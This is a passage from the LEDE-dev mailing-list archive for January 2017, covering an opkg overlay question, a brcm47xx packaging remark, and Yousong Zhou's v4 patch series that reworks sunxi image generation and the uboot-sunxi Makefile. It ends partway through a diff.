> To mitigate this problem, the original message has been wrapped
> automatically by the mailing list software.
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From bb at npl.de  Wed Jan  4 00:28:17 2017
From: bb at npl.de (Bastian Bittorf)
Date: Wed, 4 Jan 2017 09:28:17 +0100
Subject: [LEDE-DEV] newbie opkg upgrading questions..
In-Reply-To: <CAECwjAhKHohvUyk91Gzja5z7NaizYUue3UBzduDPZYbChV7dCg@mail.gmail.com>
References: <CAJM=yd=0ana5XE0RxtZwrwnRx_o4OV-KaHKZU3BTcxOU+8T+jQ@mail.gmail.com>
 <CAECwjAhKHohvUyk91Gzja5z7NaizYUue3UBzduDPZYbChV7dCg@mail.gmail.com>
Message-ID: <20170104082817.GF32003@medion.lan>

* Yousong Zhou <yszhou4tech at gmail.com> [04.01.2017 09:09]:
> > root at wzr-ag300h:~# mount
> > proc on /proc type proc (ro,noatime)
> > tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
> > overlayfs:/overlay on / type overlay
> > (ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)
> > tmpfs on /dev type tmpfs (ro,relatime,size=512k,mode=755)
> > devpts on /dev/pts type devpts (ro,relatime,mode=600)

in /etc/profile there is a check which should
warn about this special issue on login. Mr. Cook, can
you please post the output of /proc/mounts ?

what is the output of:
grep '/ overlay ro,' /proc/mounts

thanks & bye, bastian


From zajec5 at gmail.com  Wed Jan  4 00:35:26 2017
From: zajec5 at gmail.com (=?UTF-8?B?UmFmYcWCIE1pxYJlY2tp?=)
Date: Wed, 4 Jan 2017 09:35:26 +0100
Subject: [LEDE-DEV] [PATCH] brcm47xx: legacy: specify DEVICE_PACKAGES
	for all devices
In-Reply-To: <20161229070616.14967-1-zajec5@gmail.com>
References: <20161229070616.14967-1-zajec5@gmail.com>
Message-ID: <CACna6ryOniS+ZVh3Ozkscgs1EK=B8BTCNw5WDczQwELRGi0a-g@mail.gmail.com>

On 29 December 2016 at 08:06, Rafa? Mi?ecki <zajec5 at gmail.com> wrote:
> From: Rafa? Mi?ecki <rafal at milecki.pl>
>
> This allows more feature complete images. Of course it affect the size,
> e.g. enabling b43 bumped rootfs from 1569618 to 2029122 for me.
>
> Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>

For devices with BCM4306 it's not clear if b43 or b43legacy is needed.
Both should be included until we get a proper report.


From nbd at nbd.name  Wed Jan  4 08:29:41 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 4 Jan 2017 17:29:41 +0100
Subject: [LEDE-DEV] [PATCH] uboot-sunxi: fixup making uboot-xxx-boot.scr
In-Reply-To: <1483547276-5222-1-git-send-email-yszhou4tech@gmail.com>
References: <1483547276-5222-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <83ba3272-da04-b876-028f-927a8d2aef4d@nbd.name>

On 2017-01-04 17:27, Yousong Zhou wrote:
> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
> ---
> This patch intends to fixup the commit rewriting uboot-sunxi: "uboot-sunxi: add
> uboot-sunxi-all for selecting all other variants"
Folded into that commit in my staging tree.

Thanks,

- Felix



From yszhou4tech at gmail.com  Wed Jan  4 07:49:53 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 4 Jan 2017 23:49:53 +0800
Subject: [LEDE-DEV] [PATCH v4 0/6] sunxi: rework image build and
 sysupgrade support
In-Reply-To: <45e9514f-1954-b377-fac4-cc849016f237@nbd.name>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
 <45e9514f-1954-b377-fac4-cc849016f237@nbd.name>
Message-ID: <CAECwjAj=5uZHj3UyYZOE14xog=kp-zbZqx27WMDkj4Ub3RWyKA@mail.gmail.com>

On 4 January 2017 at 22:42, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-04 15:19, Yousong Zhou wrote:
>> This series mainly tries achieve the following goals
>>
>>  - use new image generation method
>>  - squashfs sdcard image support
>>  - mkfs.f2fs or mkfs.ext4 remaining space within squashfs rootfs partition and
>>    mount it as rw overlay
>>  - sysupgrade with fwtool check support
>>
>> Device profiles are automatically generated with a helper makefile.  Names for
>> image files, board_names, etc. are changed to try to use basename of kernel dts
>> file for the specific device.
>>
>> Run-tested with cubietech,cubieboard2, compile-tested others
> Merged to my staging tree, thanks.
>
> I made some modifications though:
> Since patch 1 deletes an existing default profile and patch 6 adds a new
> one, I've folded patch 6 into 1 and put patch 5 first (because of
> dependencies).
>
> - Felix

Makes sense, thanks for taking care of that.

The other thing is the patch series does not yet appear in the
lede-dev mail archive.  Is there something wrong with the mailing list
or was it caused by my oversized mail in v3 being still being hold
off?

                yousong


From yszhou4tech at gmail.com  Wed Jan  4 06:19:26 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:26 +0800
Subject: [LEDE-DEV] [PATCH v4 0/6] sunxi: rework image build and sysupgrade
 support
Message-ID: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>

This series mainly tries achieve the following goals

 - use new image generation method
 - squashfs sdcard image support
 - mkfs.f2fs or mkfs.ext4 remaining space within squashfs rootfs partition and
   mount it as rw overlay
 - sysupgrade with fwtool check support

Device profiles are automatically generated with a helper makefile.  Names for
image files, board_names, etc. are changed to try to use basename of kernel dts
file for the specific device.

Run-tested with cubietech,cubieboard2, compile-tested others

v4 <- v3

 - Makefile of uboot-sunxi was rewritten and meta package uboot-sunxi-all was
   added for selecting all other variants
 - Default profile now selects uboot-sunxi-all

v3 <- v2

 - added a Default profile and while doing this removed uboot-sunxi package

v2 <- v1:

 - rebased on staging/nbd
 - use $@.boot instead of relying on IMAGE_PREFIX when making the vfat boot
   partition
 - Set PROFILES:=Default in Device/Default

Yousong Zhou (6):
  sunxi: convert to new image generation method
  sunxi: make sdcard image with squashfs as rootfs
  sunxi: add sysupgrade support
  sunxi: use fwtool for checking sdcard images
  uboot-sunxi: add uboot-sunxi-all for selecting all other variants
  sunxi: define a Default profile

 package/boot/uboot-sunxi/Makefile                  | 192 +++++------------
 target/linux/sunxi/Makefile                        |   3 +-
 .../linux/sunxi/base-files/etc/board.d/02_network  |   4 +-
 .../base-files/lib/preinit/01_preinit_sunxi.sh     |   9 -
 .../sunxi/base-files/lib/preinit/02_b53_hack.sh    |   2 +-
 .../sunxi/base-files/lib/preinit/79_move_config    |  20 ++
 target/linux/sunxi/base-files/lib/sunxi.sh         | 140 -------------
 .../linux/sunxi/base-files/lib/upgrade/platform.sh |  67 ++++++
 target/linux/sunxi/config-4.4                      |   4 +
 target/linux/sunxi/image/Makefile                  | 227 ++++++++++++++-------
 target/linux/sunxi/image/gen_sunxi_sdcard_img.sh   |   3 +-
 target/linux/sunxi/profiles/00-default.mk          |  28 +++
 target/linux/sunxi/profiles/01-default.mk          |  17 --
 target/linux/sunxi/profiles/a10-olinuxino.mk       |  19 --
 target/linux/sunxi/profiles/a13-olimex-som.mk      |  18 --
 target/linux/sunxi/profiles/a13-olinuxino.mk       |  18 --
 target/linux/sunxi/profiles/a20-olinuxino.mk       |  33 ---
 target/linux/sunxi/profiles/bananapi.mk            |  18 --
 target/linux/sunxi/profiles/bananapro.mk           |  19 --
 target/linux/sunxi/profiles/cubieboard.mk          |  19 --
 target/linux/sunxi/profiles/cubieboard2.mk         |  19 --
 target/linux/sunxi/profiles/cubietruck.mk          |  19 --
 target/linux/sunxi/profiles/lamobo-r1.mk           |  19 --
 target/linux/sunxi/profiles/mele_m9.mk             |  18 --
 target/linux/sunxi/profiles/orangepi_plus.mk       |  18 --
 target/linux/sunxi/profiles/pcduino.mk             |  18 --
 target/linux/sunxi/profiles/pcduino3.mk            |  19 --
 27 files changed, 332 insertions(+), 658 deletions(-)
 delete mode 100644 target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh
 create mode 100644 target/linux/sunxi/base-files/lib/preinit/79_move_config
 create mode 100644 target/linux/sunxi/base-files/lib/upgrade/platform.sh
 create mode 100644 target/linux/sunxi/profiles/00-default.mk
 delete mode 100644 target/linux/sunxi/profiles/01-default.mk
 delete mode 100644 target/linux/sunxi/profiles/a10-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olimex-som.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a20-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapi.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapro.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard2.mk
 delete mode 100644 target/linux/sunxi/profiles/cubietruck.mk
 delete mode 100644 target/linux/sunxi/profiles/lamobo-r1.mk
 delete mode 100644 target/linux/sunxi/profiles/mele_m9.mk
 delete mode 100644 target/linux/sunxi/profiles/orangepi_plus.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino3.mk

-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan  4 06:19:31 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:31 +0800
Subject: [LEDE-DEV] [PATCH v4 5/6] uboot-sunxi: add uboot-sunxi-all for
 selecting all other variants
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483539572-28674-6-git-send-email-yszhou4tech@gmail.com>

While at it, the following changes are introduced

 - Rewrite the Makefile for better readability
 - Make parallel builds possible

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 package/boot/uboot-sunxi/Makefile | 192 ++++++++++----------------------------
 1 file changed, 50 insertions(+), 142 deletions(-)

diff --git a/package/boot/uboot-sunxi/Makefile b/package/boot/uboot-sunxi/Makefile
index 70a5d4d..d18520d 100644
--- a/package/boot/uboot-sunxi/Makefile
+++ b/package/boot/uboot-sunxi/Makefile
@@ -1,5 +1,6 @@
 #
 # Copyright (C) 2013-2016 OpenWrt.org
+# Copyright (C) 2017 Yousong Zhou
 #
 # This is free software, licensed under the GNU General Public License v2.
 # See /LICENSE for more information.
@@ -11,178 +12,85 @@ include $(INCLUDE_DIR)/kernel.mk
 PKG_NAME:=u-boot
 PKG_VERSION:=2016.03
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
-PKG_SOURCE_URL:= \
-	http://mirror2.openwrt.org/sources \
-	ftp://ftp.denx.de/pub/u-boot
-
+PKG_SOURCE_URL:=ftp://ftp.denx.de/pub/u-boot
 PKG_HASH:=e49337262ecac44dbdeac140f2c6ebd1eba345e0162b0464172e7f05583ed7bb
-
-PKG_BUILD_DIR:=$(KERNEL_BUILD_DIR)/$(PKG_NAME)-$(BUILD_VARIANT)/$(PKG_NAME)-$(PKG_VERSION)
-
+PKG_MAINTAINER:=Zoltan HERPAI <wigyori at uid0.hu>
 PKG_LICENSE:=GPL-2.0 GPL-2.0+
 PKG_LICENSE_FILES:=Licenses/README
 
-include $(INCLUDE_DIR)/package.mk
-
-define uboot/Default
-  TITLE:=
-  CONFIG:=
-  IMAGE:=
-endef
-
-define uboot/A10-OLinuXino-Lime
-  TITLE:=U-Boot for the A10 OLinuXino LIME
-endef
-
-define uboot/A13-OLinuXino
-  TITLE:=U-Boot for the A13 OlinuXino
-endef
-
-define uboot/A20-OLinuXino-Lime
-  TITLE:=U-Boot for the A20 OLinuXino LIME
-endef
-
-define uboot/A20-OLinuXino_MICRO
-  TITLE:=U-Boot for A20 OLinuXino MICRO
-endef
-
-define uboot/Bananapi
-  TITLE:=U-Boot for Bananapi
-endef
-
-define uboot/Bananapro
-  TITLE:=U-Boot for Bananapro
-endef
-
-define uboot/Cubieboard
-  TITLE:=U-Boot for Cubieboard
-endef
-
-define uboot/Cubieboard2
-  TITLE:=U-Boot for Cubieboard2
-endef
-
-define uboot/Cubietruck
-  TITLE:=U-Boot for Cubietruck
-endef
-
-define uboot/Hummingbird_A31
-  TITLE:=U-Boot for the Hummingbird A31 board
-endef
+PKG_BUILD_DIR:=$(KERNEL_BUILD_DIR)/$(PKG_NAME)-$(BUILD_VARIANT)/$(PKG_NAME)-$(PKG_VERSION)
 
-define uboot/Mele_M9
-  TITLE:=U-Boot for the Mele M9 (A31)
-endef
+include $(INCLUDE_DIR)/package.mk
 
-define uboot/OLIMEX_A13_SOM
-  TITLE:=U-Boot for the Olimex A13 SOM
+define Package/uboot/template
+define Package/uboot-sunxi-$(1)
+  SECTION:=boot
+  CATEGORY:=Boot Loaders
+  DEPENDS:=@TARGET_sunxi
+  TITLE:=U-Boot for $(2)
+  URL:=http://www.denx.de/wiki/U-Boot
+  VARIANT:=$(1)
 endef
 
-define uboot/Linksprite_pcDuino
-  TITLE:=U-Boot for Linksprite pcDuino
-endef  
-
-define uboot/Linksprite_pcDuino3
-  TITLE:=U-Boot for Linksprite pcDuino3
-endef  
-
-define uboot/Lamobo_R1
-  TITLE:=U-Boot for Lamobo R1
+define Package/uboot-sunxi-$(1)/install
+	$(CP) $(PKG_BUILD_DIR)/u-boot-sunxi-with-spl.bin \
+		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-u-boot-with-spl.bin
+	mkimage -C none -A arm -T script -d uEnv-$(if $(filter-out pangolin,$(1)),pangolin,default).txt \
+		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-boot.scr
 endef
 
-define uboot/pangolin
-  TITLE:=U-Boot for Theobroma A31-yQ7 devboard
-endef
+UBOOT_SUNXI_PACKAGES += uboot-sunxi-$(1)
 
-define uboot/orangepi_plus
-  TITLE:=U-Boot for Orange Pi Plus (H3)
 endef
 
-UBOOTS:= \
-	A10-OLinuXino-Lime \
-	A13-OLinuXino \
-	A20-OLinuXino-Lime \
-	A20-OLinuXino_MICRO \
-	Bananapi \
-	Bananapro \
-	Cubieboard \
-	Cubieboard2 \
-	Cubietruck \
-	Hummingbird_A31 \
-	Mele_M9 \
-	OLIMEX_A13_SOM \
-	Linksprite_pcDuino \
-	Linksprite_pcDuino3 \
-	Lamobo_R1 \
-	orangepi_plus \
-	pangolin
+$(eval $(call Package/uboot/template,A10-OLinuXino-Lime,the A10 OLinuXino LIME))
+$(eval $(call Package/uboot/template,A13-OLinuXino,the A13 OlinuXino))
+$(eval $(call Package/uboot/template,A20-OLinuXino-Lime,the A20 OLinuXino LIME))
+$(eval $(call Package/uboot/template,A20-OLinuXino_MICRO,A20 OLinuXino MICRO))
+$(eval $(call Package/uboot/template,Bananapi,Bananapi))
+$(eval $(call Package/uboot/template,Bananapro,Bananapro))
+$(eval $(call Package/uboot/template,Cubieboard,Cubieboard))
+$(eval $(call Package/uboot/template,Cubieboard2,Cubieboard2))
+$(eval $(call Package/uboot/template,Cubietruck,Cubietruck))
+$(eval $(call Package/uboot/template,Hummingbird_A31,the Hummingbird A31 board))
+$(eval $(call Package/uboot/template,Mele_M9,the Mele M9 (A31)))
+$(eval $(call Package/uboot/template,OLIMEX_A13_SOM,the Olimex A13 SOM))
+$(eval $(call Package/uboot/template,Linksprite_pcDuino,Linksprite pcDuino))
+$(eval $(call Package/uboot/template,Linksprite_pcDuino3,Linksprite pcDuino3))
+$(eval $(call Package/uboot/template,Lamobo_R1,Lamobo R1))
+$(eval $(call Package/uboot/template,orangepi_plus,Orange Pi Plus (H3)))
+$(eval $(call Package/uboot/template,pangolin,Theobroma A31-yQ7 devboard))
 
-define Package/uboot/template
-define Package/uboot-sunxi-$(1)
+define Package/uboot-sunxi-all
   SECTION:=boot
   CATEGORY:=Boot Loaders
   DEPENDS:=@TARGET_sunxi
-  TITLE:=$(2)
+  TITLE:=Meta package for selecting all variants of uboot-sunxi
   URL:=http://www.denx.de/wiki/U-Boot
-  VARIANT:=$(1)
-  MAINTAINER:=Zoltan HERPAI <wigyori at uid0.hu>
-endef
-endef
-
-define BuildUBootPackage
-	$(eval $(uboot/Default))
-	$(eval $(uboot/$(1)))
-	$(call Package/uboot/template,$(1),$(TITLE))
+  DEPENDS:=$(patsubst %,+%,$(UBOOT_SUNXI_PACKAGES))
 endef
 
 ifdef BUILD_VARIANT
-$(eval $(call uboot/$(BUILD_VARIANT)))
-UBOOT_CONFIG:=$(if $(CONFIG),$(CONFIG),$(BUILD_VARIANT))
-UBOOT_IMAGE:=$(if $(IMAGE),$(IMAGE),openwrt-$(BOARD)-$(BUILD_VARIANT)-u-boot.bin)
-endif
-
-# check if any specialized uEnv bootconfig is required
-ifeq ($(UBOOT_CONFIG),pangolin)
-	UENV:=pangolin
-else
-	UENV:=default
-endif
-
 define Build/Configure
-	$(MAKE) -C $(PKG_BUILD_DIR) \
-		USE_PRIVATE_LIBGCC=yes $(UBOOT_CONFIG)_defconfig
+	+$(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR) \
+		USE_PRIVATE_LIBGCC=yes $(BUILD_VARIANT)_defconfig
 endef
 
 define Build/Compile
-	$(MAKE) -C $(PKG_BUILD_DIR) \
+	+$(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR) \
 		CROSS_COMPILE=$(TARGET_CROSS) \
 		DTCDIR=$(LINUX_DIR)/scripts/dtc/
 endef
-
-define Package/uboot/install/default
-	$(CP) $(PKG_BUILD_DIR)/u-boot.bin \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-u-boot.bin
-	$(CP) $(PKG_BUILD_DIR)/spl/sunxi-spl.bin \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-spl.bin
-	$(CP) $(PKG_BUILD_DIR)/u-boot-sunxi-with-spl.bin \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-u-boot-with-spl.bin
-	$(CP) uEnv-$(UENV).txt \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-uEnv.txt
-	mkimage -C none -A arm -T script -d $(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-uEnv.txt \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-boot.scr
+else	# BUILD_VARIANT
+define Build/Prepare
 endef
-
-define Package/uboot/install/template
-define Package/uboot-sunxi-$(1)/install
-	$(call Package/uboot/install/default,$(2))
+define Build/Configure
 endef
+define Build/Compile
 endef
+endif	# BUILD_VARIANT
 
-$(foreach u,$(UBOOTS), \
-	$(eval $(call Package/uboot/install/template,$(u),$(u))) \
-)
-
-$(foreach u,$(UBOOTS), \
-	$(eval $(call BuildUBootPackage,$(u))) \
-	$(eval $(call BuildPackage,uboot-sunxi-$(u))) \
+$(foreach pkg,$(UBOOT_SUNXI_PACKAGES), \
+  $(eval $(call BuildPackage,$(pkg))) \
 )
+$(eval $(call BuildPackage,uboot-sunxi-all))
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan  4 06:19:27 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed,  4 Jan 2017 22:19:27 +0800
Subject: [LEDE-DEV] [PATCH v4 1/6] sunxi: convert to new image generation
 method
In-Reply-To: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
References: <1483539572-28674-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483539572-28674-2-git-send-email-yszhou4tech@gmail.com>

The new Device/xxx were transformed automatically from old profiles.

Most device names are now taken from basename of the corresponding
kernel device tree file.  Device/sun5i-a13-olimex-som is an exception
because it is not explicitly supported in the kernel yet and shares the
same dts file with Device/sun5i-a13-olinuxino

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 target/linux/sunxi/image/Makefile                | 212 +++++++++++++++--------
 target/linux/sunxi/image/gen_sunxi_sdcard_img.sh |   3 +-
 target/linux/sunxi/profiles/01-default.mk        |  17 --
 target/linux/sunxi/profiles/a10-olinuxino.mk     |  19 --
 target/linux/sunxi/profiles/a13-olimex-som.mk    |  18 --
 target/linux/sunxi/profiles/a13-olinuxino.mk     |  18 --
 target/linux/sunxi/profiles/a20-olinuxino.mk     |  33 ----
 target/linux/sunxi/profiles/bananapi.mk          |  18 --
 target/linux/sunxi/profiles/bananapro.mk         |  19 --
 target/linux/sunxi/profiles/cubieboard.mk        |  19 --
 target/linux/sunxi/profiles/cubieboard2.mk       |  19 --
 target/linux/sunxi/profiles/cubietruck.mk        |  19 --
 target/linux/sunxi/profiles/lamobo-r1.mk         |  19 --
 target/linux/sunxi/profiles/mele_m9.mk           |  18 --
 target/linux/sunxi/profiles/orangepi_plus.mk     |  18 --
 target/linux/sunxi/profiles/pcduino.mk           |  18 --
 target/linux/sunxi/profiles/pcduino3.mk          |  19 --
 17 files changed, 143 insertions(+), 363 deletions(-)
 delete mode 100644 target/linux/sunxi/profiles/01-default.mk
 delete mode 100644 target/linux/sunxi/profiles/a10-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olimex-som.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a20-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapi.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapro.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard2.mk
 delete mode 100644 target/linux/sunxi/profiles/cubietruck.mk
 delete mode 100644 target/linux/sunxi/profiles/lamobo-r1.mk
 delete mode 100644 target/linux/sunxi/profiles/mele_m9.mk
 delete mode 100644 target/linux/sunxi/profiles/orangepi_plus.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino3.mk

diff --git a/target/linux/sunxi/image/Makefile b/target/linux/sunxi/image/Makefile
index c7d90a2..07beb03 100644
--- a/target/linux/sunxi/image/Makefile
+++ b/target/linux/sunxi/image/Makefile
@@ -1,5 +1,6 @@
 #
 # Copyright (C) 2013-2016 OpenWrt.org
+# Copyright (C) 2016 Yousong Zhou
 #
 # This is free software, licensed under the GNU General Public License v2.
 # See /LICENSE for more information.
@@ -11,111 +12,182 @@ include $(INCLUDE_DIR)/host.mk
 FAT32_BLOCK_SIZE=1024
 FAT32_BLOCKS=$(shell echo $$(($(CONFIG_SUNXI_SD_BOOT_PARTSIZE)*1024*1024/$(FAT32_BLOCK_SIZE))))
 
-define Image/BuildKernel
-	-mkdir -p $(KDIR_TMP)
-
-	mkimage -A arm -O linux -T kernel -C none \
-		-a 0x40008000 -e 0x40008000 \
-		-n 'ARM OpenWrt Linux-$(LINUX_VERSION)' \
-		-d $(KDIR)/zImage $(BIN_DIR)/$(IMG_PREFIX)-uImage
-
-    ifneq ($(CONFIG_TARGET_ROOTFS_INITRAMFS),)
-	$(CP) $(KDIR)/zImage-initramfs $(BIN_DIR)/$(IMG_PREFIX)-zImage-initramfs
-	echo -ne '\x00\x00\x00\x00' >> $(BIN_DIR)/$(IMG_PREFIX)-zImage-initramfs
-	$(call Image/BuildKernel/MkuImage, \
-		none, 0x40008000, 0x40008000, \
-		$(BIN_DIR)/$(IMG_PREFIX)-zImage-initramfs, \
-		$(BIN_DIR)/$(IMG_PREFIX)-uImage-initramfs \
-	)
-    endif
-endef
-
-define Image/Build/SDCard
-	rm -f $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img
-	mkfs.fat $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img -C $(FAT32_BLOCKS)
-
-	mcopy -i $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img $(KDIR)/uboot-sunxi-$(PROFILE)-boot.scr ::boot.scr
-	mcopy -i $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img $(DTS_DIR)/$(2).dtb ::dtb
-	mcopy -i $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img $(BIN_DIR)/$(IMG_PREFIX)-uImage ::uImage
-
-	./gen_sunxi_sdcard_img.sh \
-		$(BIN_DIR)/$(IMG_PREFIX)-$(PROFILE)-sdcard-vfat-$(1).img \
-		$(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img \
-		$(KDIR)/root.$(1) \
+KERNEL_LOADADDR:=0x40008000
+
+define Build/sunxi-sdcard
+	rm -f $@.boot
+	mkfs.fat $@.boot -C $(FAT32_BLOCKS)
+
+	mcopy -i $@.boot $(KDIR)/uboot-sunxi-$(SUNXI_UBOOT)-boot.scr ::boot.scr
+	mcopy -i $@.boot $(DTS_DIR)/$(SUNXI_DTS).dtb ::dtb
+	mcopy -i $@.boot $(IMAGE_KERNEL) ::uImage
+	./gen_sunxi_sdcard_img.sh $@ \
+		$@.boot \
+		$(IMAGE_ROOTFS) \
 		$(CONFIG_SUNXI_SD_BOOT_PARTSIZE) \
 		$(CONFIG_TARGET_ROOTFS_PARTSIZE) \
-		$(KDIR)/uboot-sunxi-$(PROFILE)-u-boot-with-spl.bin
-
-  ifneq ($(CONFIG_TARGET_IMAGES_GZIP),)
-	gzip -f9n $(BIN_DIR)/$(IMG_PREFIX)-$(PROFILE)-sdcard-vfat-$(1).img
-  endif
+		$(KDIR)/uboot-sunxi-$(SUNXI_UBOOT)-u-boot-with-spl.bin
+	rm -f $@.boot
 endef
 
-define Image/Build/Profile/A10-OLinuXino-Lime
-	$(call Image/Build/SDCard,$(1),sun4i-a10-olinuxino-lime)
+# why \x00\x00\x00\x00 for zImage-initramfs
+define Device/Default
+  PROFILES := Default
+  DEVICE_VARS := SUNXI_DTS SUNXI_UBOOT
+  KERNEL_NAME := zImage
+  KERNEL := kernel-bin | uImage none
+  IMAGES := sdcard.img.gz
+  IMAGE/sdcard.img.gz := sunxi-sdcard | gzip
 endef
 
-define Image/Build/Profile/A13-OLinuXino
-	$(call Image/Build/SDCard,$(1),sun5i-a13-olinuxino)
+define Device/sun4i-a10-olinuxino-lime
+  DEVICE_TITLE:=Olimex A10-OLinuXino-LIME
+  DEVICE_PACKAGES:=uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun4i-a10-olinuxino-lime
+  SUNXI_UBOOT:=A10-OLinuXino-Lime
 endef
 
-define Image/Build/Profile/A20-OLinuXino-Lime
-	$(call Image/Build/SDCard,$(1),sun7i-a20-olinuxino-lime)
+TARGET_DEVICES += sun4i-a10-olinuxino-lime
+
+
+define Device/sun5i-a13-olimex-som
+  DEVICE_TITLE:=Olimex A13 SOM
+  DEVICE_PACKAGES:=uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
+  SUNXI_DTS:=sun5i-a13-olinuxino
+  SUNXI_UBOOT:=OLIMEX_A13_SOM
 endef
 
-define Image/Build/Profile/A20-OLinuXino_MICRO
-	$(call Image/Build/SDCard,$(1),sun7i-a20-olinuxino-micro)
+TARGET_DEVICES += sun5i-a13-olimex-som
+
+
+define Device/sun5i-a13-olinuxino
+  DEVICE_TITLE:=Olimex A13-Olinuxino
+  DEVICE_PACKAGES:=uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
+  SUNXI_DTS:=sun5i-a13-olinuxino
+  SUNXI_UBOOT:=A13-OLinuXino
 endef
 
-define Image/Build/Profile/Bananapi
-	$(call Image/Build/SDCard,$(1),sun7i-a20-bananapi)
+TARGET_DEVICES += sun5i-a13-olinuxino
+
+
+define Device/sun7i-a20-olinuxino-lime
+  DEVICE_TITLE:=Olimex A20-OLinuXino-LIME
+  DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi
+  SUNXI_DTS:=sun7i-a20-olinuxino-lime
+  SUNXI_UBOOT:=A20-OLinuXino-Lime
 endef
 
-define Image/Build/Profile/Bananapro
-	$(call Image/Build/SDCard,$(1),sun7i-a20-bananapro)
+TARGET_DEVICES += sun7i-a20-olinuxino-lime
+
+
+define Device/sun7i-a20-olinuxino-micro
+  DEVICE_TITLE:=Olimex A20-Olinuxino Micro
+  DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun7i-a20-olinuxino-micro
+  SUNXI_UBOOT:=A20-OLinuXino_MICRO
 endef
 
-define Image/Build/Profile/Lamobo_R1
-	$(call Image/Build/SDCard,$(1),sun7i-a20-lamobo-r1)
+TARGET_DEVICES += sun7i-a20-olinuxino-micro
+
+
+define Device/sun7i-a20-bananapi
+  DEVICE_TITLE:=LeMaker Banana Pi
+  DEVICE_PACKAGES:=uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
+  SUNXI_DTS:=sun7i-a20-bananapi
+  SUNXI_UBOOT:=Bananapi
 endef
 
-define Image/Build/Profile/Cubieboard
-	$(call Image/Build/SDCard,$(1),sun4i-a10-cubieboard)
+TARGET_DEVICES += sun7i-a20-bananapi
+
+
+define Device/sun7i-a20-bananapro
+  DEVICE_TITLE:=LeMaker Banana Pro
+  DEVICE_PACKAGES:=uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-brcmfmac
+  SUNXI_DTS:=sun7i-a20-bananapro
+  SUNXI_UBOOT:=Bananapro
 endef
 
-define Image/Build/Profile/Cubieboard2
-	$(call Image/Build/SDCard,$(1),sun7i-a20-cubieboard2)
+TARGET_DEVICES += sun7i-a20-bananapro
+
+
+define Device/sun7i-a20-cubieboard2
